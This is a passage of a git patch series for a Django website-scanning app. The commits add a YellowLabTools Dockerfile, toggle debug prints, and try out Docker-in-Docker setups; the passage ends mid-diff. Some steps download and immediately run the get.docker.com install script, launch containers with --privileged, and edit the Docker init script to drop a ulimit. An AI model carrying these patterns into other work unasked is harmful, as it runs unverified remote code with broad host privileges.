 create mode 100644 functions/dockerfiles/Dockerfile

diff --git a/functions/dockerfiles/Dockerfile b/functions/dockerfiles/Dockerfile
new file mode 100644
index 00000000..95bf0e49
--- /dev/null
+++ b/functions/dockerfiles/Dockerfile
@@ -0,0 +1,47 @@
+FROM --platform=linux/amd64 node:18-alpine
+
+# Tell Puppeteer to skip installing Chrome. We'll be using the installed binary
+ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true
+
+# Tell phantomas where Chromium binary is and that we're in docker
+ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/chromium-browser
+ENV DOCKERIZED yes
+
+WORKDIR /usr/src/ylt
+
+RUN apk upgrade --update && apk --no-cache add git gcc make g++ zlib-dev libjpeg-turbo-dev nasm automake autoconf libtool \
+  && NODE_ENV=production && export CPPFLAGS="-DPNG_ARM_NEON_OPT=0" \ 
+  && npm install -g yellowlabtools@2.2.0 --unsafe-perm=true --allow-root --legacy-peer-deps --omit=dev \
+  && echo "http://dl-cdn.alpinelinux.org/alpine/edge/main" > /etc/apk/repositories \
+  && echo "http://dl-cdn.alpinelinux.org/alpine/edge/community" >> /etc/apk/repositories \
+  && echo "http://dl-cdn.alpinelinux.org/alpine/edge/testing" >> /etc/apk/repositories \
+  && apk upgrade -U -a \
+  && apk add \
+    libjpeg-turbo-dev \
+    chromium \
+    ca-certificates \
+    freetype \
+    freetype-dev \
+    harfbuzz \
+    nss \
+    ttf-freefont \
+  && which chromium-browser && chromium-browser --version &&  chown -R nobody:nogroup . \
+  && rm -rf test doc
+
+# Create the results directory and assign nobody:nogroup as the owner
+RUN mkdir -p /usr/src/ylt/results && chown -R nobody:nogroup /usr/src/ylt/results
+
+# Add the volume for results
+VOLUME /usr/src/ylt/results
+
+# Run everything after as non-privileged user.
+USER nobody
+
+# Set up the Chromium environment
+ENV XDG_CONFIG_HOME /tmp/.chromium
+ENV XDG_CACHE_HOME /tmp/.chromium
+
+
+
+# entry point
+ENTRYPOINT [ "yellowlabtools" ]
\ No newline at end of file

From 3bac1bc1dd5d0d38e4d61e0ca07b43d62658de2e Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 8 Mar 2024 13:49:55 -0700
Subject: [PATCH 0296/1099] testing bulk test creation

---
 app/api/v1/ops/services.py | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 692457b3..03da8d71 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -1217,6 +1217,7 @@ def create_test(request=None, delay=False, *args, **kwargs):
     check_data = check_account(request=request)
     if not check_data['allowed']:
         data = {'reason': check_data['error'], 'success': False}
+        print(data)
         if request is not None:
             record_api_call(request, data, '402')
             return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
@@ -1289,6 +1290,7 @@ def create_test(request=None, delay=False, *args, **kwargs):
 
         if not Scan.objects.filter(page=p).exists():
             data = {'reason': 'Page not yet onboarded', 'success': False,}
+            print(data)
             record_api_call(request, data, '400')
             return Response(data, status=status.HTTP_400_BAD_REQUEST)
         
@@ -1447,6 +1449,7 @@ def create_many_tests(request):
             }
             try:
                 res = create_test(delay=True, **data)
+                print(res)
                 if res['success']:
                     num_succeeded += 1
                     succeeded.append(str(id))

From 1a43cfa04be9772f4f271aea4f936218c82b1c56 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 8 Mar 2024 13:51:18 -0700
Subject: [PATCH 0297/1099] removed --platform

---
 functions/dockerfiles/Dockerfile | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/functions/dockerfiles/Dockerfile b/functions/dockerfiles/Dockerfile
index 95bf0e49..8f98f6e5 100644
--- a/functions/dockerfiles/Dockerfile
+++ b/functions/dockerfiles/Dockerfile
@@ -1,4 +1,4 @@
-FROM --platform=linux/amd64 node:18-alpine
+FROM node:18-alpine
 
 # Tell Puppeteer to skip installing Chrome. We'll be using the installed binary
 ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true

From 92c27ee65585ddbf80a9f2735d6d89d3ceaad536 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 8 Mar 2024 14:20:36 -0700
Subject: [PATCH 0298/1099] fixed bulk test issue

---
 app/api/v1/ops/services.py | 14 ++------------
 1 file changed, 2 insertions(+), 12 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 03da8d71..e22e3bc2 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -799,7 +799,7 @@ def create_scan(request=None, delay=False, *args, **kwargs):
     account = Member.objects.get(user=user).account
 
     if request is not None:
-        check_data = check_account(request=request)
+        check_data = check_account(user=user, resource='scan')
         if not check_data['allowed']:
             data = {'reason': check_data['error'], 'success': False}
             if request is not None:
@@ -1214,10 +1214,9 @@ def create_test(request=None, delay=False, *args, **kwargs):
         # get data from kwargs
     account = Member.objects.get(user=user).account
 
-    check_data = check_account(request=request)
+    check_data = check_account(user=user, resource='test')
     if not check_data['allowed']:
         data = {'reason': check_data['error'], 'success': False}
-        print(data)
         if request is not None:
             record_api_call(request, data, '402')
             return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
@@ -1228,7 +1227,6 @@ def create_test(request=None, delay=False, *args, **kwargs):
             site = Site.objects.get(id=site_id)
         except:
             data = {'reason': 'cannot find a Site with that id', 'success': False,}
-            print(data)
             if request is not None:
                 record_api_call(request, data, '404')
                 return Response(data, status=status.HTTP_404_NOT_FOUND)
@@ -1236,7 +1234,6 @@ def create_test(request=None, delay=False, *args, **kwargs):
 
         if site.account != account:
             data = {'reason': 'create a Test of a Site you do not own', 'success': False,}
-            print(data)
             if request is not None:
                 record_api_call(request, data, '403')
                 return Response(data, status=status.HTTP_403_FORBIDDEN)
@@ -1247,14 +1244,12 @@ def create_test(request=None, delay=False, *args, **kwargs):
             page = Page.objects.get(id=page_id)
         except:
             data = {'reason': 'cannot find a Page with that id', 'success': False,}
-            print(data)
             if request is not None:
                 record_api_call(request, data, '404')
                 return Response(data, status=status.HTTP_404_NOT_FOUND)
             return data
         if page.account != account:
             data = {'reason': 'create a Test of a Page you do not own', 'success': False,}
-            print(data)
             if request is not None:
                 record_api_call(request, data, '403')
                 return Response(data, status=status.HTTP_403_FORBIDDEN)
@@ -1290,7 +1285,6 @@ def create_test(request=None, delay=False, *args, **kwargs):
 
         if not Scan.objects.filter(page=p).exists():
             data = {'reason': 'Page not yet onboarded', 'success': False,}
-            print(data)
             record_api_call(request, data, '400')
             return Response(data, status=status.HTTP_400_BAD_REQUEST)
         
@@ -1299,7 +1293,6 @@ def create_test(request=None, delay=False, *args, **kwargs):
                 pre_scan = Scan.objects.get(id=pre_scan_id)
             except:
                 data = {'reason': 'cannot find a Scan with that id - pre_scan', 'success': False,}
-                print(data)
                 if request is not None:
                     record_api_call(request, data, '404')
                     return Response(data, status=status.HTTP_404_NOT_FOUND)
@@ -1309,7 +1302,6 @@ def create_test(request=None, delay=False, *args, **kwargs):
                 post_scan = Scan.objects.get(id=post_scan_id)
             except:
                 data = {'reason': 'cannot find a Scan with that id - post_scan', 'success': False,}
-                print(data)
                 if request is not None:
                     record_api_call(request, data, '404')
                     return Response(data, status=status.HTTP_404_NOT_FOUND)
@@ -1322,7 +1314,6 @@ def create_test(request=None, delay=False, *args, **kwargs):
         if pre_scan:
             if pre_scan.time_completed == None:
                 data = {'reason': 'pre_scan still running', 'success': False,}
-                print(data)
                 if request is not None:
                     record_api_call(request, data, '400')
                     return Response(data, status=status.HTTP_400_BAD_REQUEST)
@@ -1331,7 +1322,6 @@ def create_test(request=None, delay=False, *args, **kwargs):
         if post_scan:
             if post_scan.time_completed == None:
                 data = {'reason': 'post_scan still running', 'success': False,}
-                print(data)
                 if request is not None:
                     record_api_call(request, data, '400')
                     return Response(data, status=status.HTTP_400_BAD_REQUEST)

From 8dc02c5c669deff2bbf7526970ca40ea303fd08d Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 8 Mar 2024 14:31:35 -0700
Subject: [PATCH 0299/1099] still debugging

---
 app/api/v1/ops/services.py | 12 +++++++++++-
 1 file changed, 11 insertions(+), 1 deletion(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index e22e3bc2..e549a1a9 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -1214,9 +1214,10 @@ def create_test(request=None, delay=False, *args, **kwargs):
         # get data from kwargs
     account = Member.objects.get(user=user).account
 
-    check_data = check_account(user=user, resource='test')
+    check_data = check_account(request=request, user=user, resource='test')
     if not check_data['allowed']:
         data = {'reason': check_data['error'], 'success': False}
+        print(data)
         if request is not None:
             record_api_call(request, data, '402')
             return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
@@ -1227,6 +1228,7 @@ def create_test(request=None, delay=False, *args, **kwargs):
             site = Site.objects.get(id=site_id)
         except:
             data = {'reason': 'cannot find a Site with that id', 'success': False,}
+            print(data)
             if request is not None:
                 record_api_call(request, data, '404')
                 return Response(data, status=status.HTTP_404_NOT_FOUND)
@@ -1234,6 +1236,7 @@ def create_test(request=None, delay=False, *args, **kwargs):
 
         if site.account != account:
             data = {'reason': 'create a Test of a Site you do not own', 'success': False,}
+            print(data)
             if request is not None:
                 record_api_call(request, data, '403')
                 return Response(data, status=status.HTTP_403_FORBIDDEN)
@@ -1244,12 +1247,14 @@ def create_test(request=None, delay=False, *args, **kwargs):
             page = Page.objects.get(id=page_id)
         except:
             data = {'reason': 'cannot find a Page with that id', 'success': False,}
+            print(data)
             if request is not None:
                 record_api_call(request, data, '404')
                 return Response(data, status=status.HTTP_404_NOT_FOUND)
             return data
         if page.account != account:
             data = {'reason': 'create a Test of a Page you do not own', 'success': False,}
+            print(data)
             if request is not None:
                 record_api_call(request, data, '403')
                 return Response(data, status=status.HTTP_403_FORBIDDEN)
@@ -1285,6 +1290,7 @@ def create_test(request=None, delay=False, *args, **kwargs):
 
         if not Scan.objects.filter(page=p).exists():
             data = {'reason': 'Page not yet onboarded', 'success': False,}
+            print(data)
             record_api_call(request, data, '400')
             return Response(data, status=status.HTTP_400_BAD_REQUEST)
         
@@ -1293,6 +1299,7 @@ def create_test(request=None, delay=False, *args, **kwargs):
                 pre_scan = Scan.objects.get(id=pre_scan_id)
             except:
                 data = {'reason': 'cannot find a Scan with that id - pre_scan', 'success': False,}
+                print(data)
                 if request is not None:
                     record_api_call(request, data, '404')
                     return Response(data, status=status.HTTP_404_NOT_FOUND)
@@ -1302,6 +1309,7 @@ def create_test(request=None, delay=False, *args, **kwargs):
                 post_scan = Scan.objects.get(id=post_scan_id)
             except:
                 data = {'reason': 'cannot find a Scan with that id - post_scan', 'success': False,}
+                print(data)
                 if request is not None:
                     record_api_call(request, data, '404')
                     return Response(data, status=status.HTTP_404_NOT_FOUND)
@@ -1314,6 +1322,7 @@ def create_test(request=None, delay=False, *args, **kwargs):
         if pre_scan:
             if pre_scan.time_completed == None:
                 data = {'reason': 'pre_scan still running', 'success': False,}
+                print(data)
                 if request is not None:
                     record_api_call(request, data, '400')
                     return Response(data, status=status.HTTP_400_BAD_REQUEST)
@@ -1322,6 +1331,7 @@ def create_test(request=None, delay=False, *args, **kwargs):
         if post_scan:
             if post_scan.time_completed == None:
                 data = {'reason': 'post_scan still running', 'success': False,}
+                print(data)
                 if request is not None:
                     record_api_call(request, data, '400')
                     return Response(data, status=status.HTTP_400_BAD_REQUEST)

From 3ccc2bb091e6dbf5537f40b97e6ee153d9e358d7 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 8 Mar 2024 14:36:30 -0700
Subject: [PATCH 0300/1099] trying docker install in image

---
 Dockerfile | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/Dockerfile b/Dockerfile
index 9ad91e8e..e717b887 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -67,4 +67,8 @@ RUN chown -R app:app /app
 RUN chown -R app:app /usr/bin/chromium
 
 # removing chromium config
-RUN rm -rf ~/.config/chromium
\ No newline at end of file
+RUN rm -rf ~/.config/chromium
+
+# trying to install docker
+RUN curl https://get.docker.com/builds/Linux/x86_64/docker-latest.tgz | tar xvz -C /tmp/ && \
+    mv /tmp/docker/docker /usr/bin/docker
\ No newline at end of file

From 7b836219104081015c04d4d2a3fc0cc0b1fa7e63 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 8 Mar 2024 14:53:01 -0700
Subject: [PATCH 0301/1099] testing new docker install method

---
 Dockerfile | 10 ++++++++--
 1 file changed, 8 insertions(+), 2 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index e717b887..4160264b 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -70,5 +70,11 @@ RUN chown -R app:app /usr/bin/chromium
 RUN rm -rf ~/.config/chromium
 
 # trying to install docker
-RUN curl https://get.docker.com/builds/Linux/x86_64/docker-latest.tgz | tar xvz -C /tmp/ && \
-    mv /tmp/docker/docker /usr/bin/docker
\ No newline at end of file
+RUN curl -fsSL https://get.docker.com -o get-docker.sh && \ 
+    sh get-docker.sh
+
+
+# RUN for pkg in docker.io docker-doc docker-compose podman-docker containerd runc; do sudo apt-get remove $pkg; done
+
+# RUN curl https://get.docker.com/builds/Linux/x86_64/docker-latest.tgz | tar xvz -C /tmp/ && \
+#     mv /tmp/docker/docker /usr/bin/docker
\ No newline at end of file

From 64b94ab47a9bca7effb8367cb871badbba45cadf Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 11 Mar 2024 08:35:21 -0600
Subject: [PATCH 0302/1099] trying to start dind "dockerd" on container start

---
 Dockerfile             | 1 -
 docker-compose.dev.yml | 5 ++++-
 2 files changed, 4 insertions(+), 2 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 4160264b..e3acf212 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -73,7 +73,6 @@ RUN rm -rf ~/.config/chromium
 RUN curl -fsSL https://get.docker.com -o get-docker.sh && \ 
     sh get-docker.sh
 
-
 # RUN for pkg in docker.io docker-doc docker-compose podman-docker containerd runc; do sudo apt-get remove $pkg; done
 
 # RUN curl https://get.docker.com/builds/Linux/x86_64/docker-latest.tgz | tar xvz -C /tmp/ && \
diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index 5752627a..c55c7c73 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -20,6 +20,7 @@ services:
              python3 manage.py create_admin &&
              python3 manage.py driver_s_test &&
              python3 manage.py driver_p_test && 
+             docker run --privileged --rm -ti --entrypoint sh docker:dind &&
              gunicorn  --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000"
     expose:
       - 8000
@@ -50,7 +51,9 @@ services:
     build:
       context: .
       dockerfile: Dockerfile
-    command: celery -A scanerr worker --beat --scheduler django --loglevel=info
+    command: >
+      sh -c "docker run --privileged --rm -ti --entrypoint sh docker:dind &&
+             celery -A scanerr worker --beat --scheduler django --loglevel=info"
     volumes:
       - ./app:/scanerr
     env_file:

From d1aa6072402c6fee1fc872f29645a3c3e01a169e Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 11 Mar 2024 08:38:28 -0600
Subject: [PATCH 0303/1099] full dind config

---
 docker-compose.dev.yml | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index c55c7c73..87a589cc 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -20,7 +20,7 @@ services:
              python3 manage.py create_admin &&
              python3 manage.py driver_s_test &&
              python3 manage.py driver_p_test && 
-             docker run --privileged --rm -ti --entrypoint sh docker:dind &&
+             docker run --privileged --name some-docker -d --network some-network --network-alias docker -e DOCKER_TLS_CERTDIR=/certs -v some-docker-certs-ca:/certs/ca -v some-docker-certs-client:/certs/client docker:dind &&
              gunicorn  --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000"
     expose:
       - 8000
@@ -52,7 +52,7 @@ services:
       context: .
       dockerfile: Dockerfile
     command: >
-      sh -c "docker run --privileged --rm -ti --entrypoint sh docker:dind &&
+      sh -c "docker run --privileged --name some-docker -d --network some-network --network-alias docker -e DOCKER_TLS_CERTDIR=/certs -v some-docker-certs-ca:/certs/ca -v some-docker-certs-client:/certs/client docker:dind &&
              celery -A scanerr worker --beat --scheduler django --loglevel=info"
     volumes:
       - ./app:/scanerr

From 8011d3338cea24ec793dabc5c840b29955f26889 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 11 Mar 2024 08:44:52 -0600
Subject: [PATCH 0304/1099] testing new dockerd start

---
 docker-compose.dev.yml | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index 87a589cc..50d25a7c 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -20,7 +20,7 @@ services:
              python3 manage.py create_admin &&
              python3 manage.py driver_s_test &&
              python3 manage.py driver_p_test && 
-             docker run --privileged --name some-docker -d --network some-network --network-alias docker -e DOCKER_TLS_CERTDIR=/certs -v some-docker-certs-ca:/certs/ca -v some-docker-certs-client:/certs/client docker:dind &&
+             dockerd &> dockerd-logfile &&
              gunicorn  --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000"
     expose:
       - 8000
@@ -52,7 +52,7 @@ services:
       context: .
       dockerfile: Dockerfile
     command: >
-      sh -c "docker run --privileged --name some-docker -d --network some-network --network-alias docker -e DOCKER_TLS_CERTDIR=/certs -v some-docker-certs-ca:/certs/ca -v some-docker-certs-client:/certs/client docker:dind &&
+      sh -c "dockerd &> dockerd-logfile &&
              celery -A scanerr worker --beat --scheduler django --loglevel=info"
     volumes:
       - ./app:/scanerr

From ac1b76afd332e4b60a284213e491c9af83f9c771 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 11 Mar 2024 08:52:17 -0600
Subject: [PATCH 0305/1099] testing new dockerd start method

---
 docker-compose.dev.yml | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index 50d25a7c..743d8000 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -20,7 +20,7 @@ services:
              python3 manage.py create_admin &&
              python3 manage.py driver_s_test &&
              python3 manage.py driver_p_test && 
-             dockerd &> dockerd-logfile &&
+             service docker start &&
              gunicorn  --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000"
     expose:
       - 8000
@@ -52,7 +52,7 @@ services:
       context: .
       dockerfile: Dockerfile
     command: >
-      sh -c "dockerd &> dockerd-logfile &&
+      sh -c "service docker start &&
              celery -A scanerr worker --beat --scheduler django --loglevel=info"
     volumes:
       - ./app:/scanerr

From e62f0adace1874ea7664ddc45ee5617a9a479ce4 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 11 Mar 2024 09:07:23 -0600
Subject: [PATCH 0306/1099] testing new docker start cmd

---
 docker-compose.dev.yml | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index 743d8000..fd7294c1 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -20,6 +20,8 @@ services:
              python3 manage.py create_admin &&
              python3 manage.py driver_s_test &&
              python3 manage.py driver_p_test && 
+             echo "ulimits: $(ulimit -Sn):$(ulimit -Hn)" && 
+             sed -i 's/ulimit -Hn/# ulimit -Hn/g' /etc/init.d/docker &&
              service docker start &&
              gunicorn  --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000"
     expose:
@@ -52,7 +54,9 @@ services:
       context: .
       dockerfile: Dockerfile
     command: >
-      sh -c "service docker start &&
+      sh -c "echo "ulimits: $(ulimit -Sn):$(ulimit -Hn)" && 
+             sed -i 's/ulimit -Hn/# ulimit -Hn/g' /etc/init.d/docker &&
+             service docker start &&
              celery -A scanerr worker --beat --scheduler django --loglevel=info"
     volumes:
       - ./app:/scanerr

From 7269cab539d68ec546d1b50cb38a898f3bfd62f0 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 11 Mar 2024 09:10:22 -0600
Subject: [PATCH 0307/1099] adjusting docker start commands

---
 docker-compose.dev.yml | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index fd7294c1..fbc12ccb 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -20,8 +20,8 @@ services:
              python3 manage.py create_admin &&
              python3 manage.py driver_s_test &&
              python3 manage.py driver_p_test && 
-             echo "ulimits: $(ulimit -Sn):$(ulimit -Hn)" && 
-             sed -i 's/ulimit -Hn/# ulimit -Hn/g' /etc/init.d/docker &&
+             echo "ulimits: $(ulimit -Sn):$(ulimit -Hn)"; 
+             sed -i 's/ulimit -Hn/# ulimit -Hn/g' /etc/init.d/docker;
              service docker start &&
              gunicorn  --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000"
     expose:
@@ -54,8 +54,8 @@ services:
       context: .
       dockerfile: Dockerfile
     command: >
-      sh -c "echo "ulimits: $(ulimit -Sn):$(ulimit -Hn)" && 
-             sed -i 's/ulimit -Hn/# ulimit -Hn/g' /etc/init.d/docker &&
+      sh -c "echo "ulimits: $(ulimit -Sn):$(ulimit -Hn)"; 
+             sed -i 's/ulimit -Hn/# ulimit -Hn/g' /etc/init.d/docker;
              service docker start &&
              celery -A scanerr worker --beat --scheduler django --loglevel=info"
     volumes:

From 61cfeb0a002674e90c562e01d24e843453dcfc74 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 11 Mar 2024 09:12:59 -0600
Subject: [PATCH 0308/1099] removed echo

---
 docker-compose.dev.yml | 4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index fbc12ccb..66fe94a9 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -20,7 +20,6 @@ services:
              python3 manage.py create_admin &&
              python3 manage.py driver_s_test &&
              python3 manage.py driver_p_test && 
-             echo "ulimits: $(ulimit -Sn):$(ulimit -Hn)"; 
              sed -i 's/ulimit -Hn/# ulimit -Hn/g' /etc/init.d/docker;
              service docker start &&
              gunicorn  --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000"
@@ -54,8 +53,7 @@ services:
       context: .
       dockerfile: Dockerfile
     command: >
-      sh -c "echo "ulimits: $(ulimit -Sn):$(ulimit -Hn)"; 
-             sed -i 's/ulimit -Hn/# ulimit -Hn/g' /etc/init.d/docker;
+      sh -c "sed -i 's/ulimit -Hn/# ulimit -Hn/g' /etc/init.d/docker;
              service docker start &&
              celery -A scanerr worker --beat --scheduler django --loglevel=info"
     volumes:

From a56884a9715f1930a1b91e01af0797839739a4b7 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 11 Mar 2024 09:42:50 -0600
Subject: [PATCH 0309/1099] trying new docker method

---
 app/api/utils/yellowlab.py | 3 ++-
 docker-compose.dev.yml     | 2 ++
 2 files changed, 4 insertions(+), 1 deletion(-)

diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index eda3eaa5..e1c90b09 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -33,7 +33,8 @@ def init_audit(self):
     def yellowlab_api(self) -> dict:
         """ 
         Serves as the backup method for collecting YL metrics.
-        Sends API requests to http://yellowlab.scanerr.io:8383.
+        Sends API requests to http://yellowlab.scanerr.io:8383
+        or localhost:8383
 
         Returns --> raw YL data
         """
diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index 66fe94a9..781516fd 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -22,6 +22,7 @@ services:
              python3 manage.py driver_p_test && 
              sed -i 's/ulimit -Hn/# ulimit -Hn/g' /etc/init.d/docker;
              service docker start &&
+             docker run -d --privileged -p 8383:8383 ousamabenyounes/yellowlabtools &&
              gunicorn  --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000"
     expose:
       - 8000
@@ -55,6 +56,7 @@ services:
     command: >
       sh -c "sed -i 's/ulimit -Hn/# ulimit -Hn/g' /etc/init.d/docker;
              service docker start &&
+             docker run -d --privileged -p 8383:8383 ousamabenyounes/yellowlabtools &&
              celery -A scanerr worker --beat --scheduler django --loglevel=info"
     volumes:
       - ./app:/scanerr

From eedb7ebe3caf78ee42320dc85271f4aeec41c2d7 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 11 Mar 2024 09:53:51 -0600
Subject: [PATCH 0310/1099] added sleep commands to conatiner start

---
 docker-compose.dev.yml | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index 781516fd..b938890b 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -22,6 +22,7 @@ services:
              python3 manage.py driver_p_test && 
              sed -i 's/ulimit -Hn/# ulimit -Hn/g' /etc/init.d/docker;
              service docker start &&
+             sleep 10 &&
              docker run -d --privileged -p 8383:8383 ousamabenyounes/yellowlabtools &&
              gunicorn  --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000"
     expose:
@@ -56,6 +57,7 @@ services:
     command: >
       sh -c "sed -i 's/ulimit -Hn/# ulimit -Hn/g' /etc/init.d/docker;
              service docker start &&
+             sleep 10 &&
              docker run -d --privileged -p 8383:8383 ousamabenyounes/yellowlabtools &&
              celery -A scanerr worker --beat --scheduler django --loglevel=info"
     volumes:

From ec80ec5001adb58bfbc82e9aea03eb87e52cf154 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 11 Mar 2024 10:20:19 -0600
Subject: [PATCH 0311/1099] debugging

---
 Dockerfile                 | 7 +------
 app/api/utils/yellowlab.py | 3 +++
 2 files changed, 4 insertions(+), 6 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index e3acf212..d4490295 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -71,9 +71,4 @@ RUN rm -rf ~/.config/chromium
 
 # trying to install docker
 RUN curl -fsSL https://get.docker.com -o get-docker.sh && \ 
-    sh get-docker.sh
-
-# RUN for pkg in docker.io docker-doc docker-compose podman-docker containerd runc; do sudo apt-get remove $pkg; done
-
-# RUN curl https://get.docker.com/builds/Linux/x86_64/docker-latest.tgz | tar xvz -C /tmp/ && \
-#     mv /tmp/docker/docker /usr/bin/docker
\ No newline at end of file
+    sh get-docker.sh
\ No newline at end of file
diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index e1c90b09..f6623615 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -50,6 +50,7 @@ def yellowlab_api(self) -> dict:
         }
 
         # setting up initial request
+        print('sending YLT API request...')
         res = requests.post(
             url=f'{settings.YELLOWLAB_ROOT}/api/runs',
             data=json.dumps(data),
@@ -67,6 +68,7 @@ def yellowlab_api(self) -> dict:
         while not done and wait_time < max_wait:
 
             # sending run request check
+            print('checking YLT API request...')
             res = requests.get(
                 url=f'{settings.YELLOWLAB_ROOT}/api/runs/{run_id}',
                 headers=headers
@@ -90,6 +92,7 @@ def yellowlab_api(self) -> dict:
 
 
         # getting run results
+        print('retrieveing YLT API request...')
         res = requests.get(
             url=f'{settings.YELLOWLAB_ROOT}/api/results/{run_id}',
             headers=headers

From 13f903d6b1c93a20c3558b4c960e164a27515e08 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 11 Mar 2024 13:21:13 -0600
Subject: [PATCH 0312/1099] new dockerfile for ylt

---
 docker-compose.dev.yml           | 4 ++--
 functions/dockerfiles/Dockerfile | 9 +++++++--
 2 files changed, 9 insertions(+), 4 deletions(-)

diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index b938890b..036d715e 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -23,7 +23,7 @@ services:
              sed -i 's/ulimit -Hn/# ulimit -Hn/g' /etc/init.d/docker;
              service docker start &&
              sleep 10 &&
-             docker run -d --privileged -p 8383:8383 ousamabenyounes/yellowlabtools &&
+             docker run -d --privileged --restart unless-stopped -p 8383:8383 ousamabenyounes/yellowlabtools &&
              gunicorn  --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000"
     expose:
       - 8000
@@ -58,7 +58,7 @@ services:
       sh -c "sed -i 's/ulimit -Hn/# ulimit -Hn/g' /etc/init.d/docker;
              service docker start &&
              sleep 10 &&
-             docker run -d --privileged -p 8383:8383 ousamabenyounes/yellowlabtools &&
